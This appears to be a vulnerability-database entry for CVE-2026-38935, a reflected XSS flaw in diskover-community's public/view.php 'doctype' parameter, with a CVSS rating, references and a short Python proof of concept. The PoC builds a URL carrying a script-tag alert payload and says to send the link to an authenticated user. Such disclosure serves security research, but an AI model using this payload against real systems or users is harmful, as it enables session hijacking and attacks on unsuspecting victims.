CVE-2026-38935

Description

A reflected cross-site scripting (XSS) vulnerability exists in diskover-community <= 2.3.5 in public/view.php via the doctype parameter

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

diskover-community <= 2.3.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC Code for CVE-2026-38935
# Reflects XSS via the 'doctype' parameter in public/view.php

import urllib.parse

# Target URL structure
target_base = "http://target-host/diskover/public/view.php"

# Malicious payload to inject JavaScript
xss_payload = "<script>alert('CVE-2026-38935_PoC');</script>"

# Encode payload for URL
encoded_payload = urllib.parse.quote(xss_payload)

# Construct the full malicious URL
malicious_link = f"{target_base}?doctype={encoded_payload}"

print(f"[+] Exploit Link: {malicious_link}")
print("[+] Send this link to an authenticated user to trigger the XSS.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-38935
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-38935
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-38935/
[4] VulDB https://vuldb.com/cve/CVE-2026-38935
[5] http://diskover-community.com
[6] http://diskoverdata.com
[7] https://github.com/VadlaReddySai/diskoverdata-cve-writeups/blob/main/CVE-2026-38935
[8] https://github.com/VadlaReddySai/diskoverdata-cve-writeups/blob/main/CVE-2026-38935

Raw JSON Data

JSON

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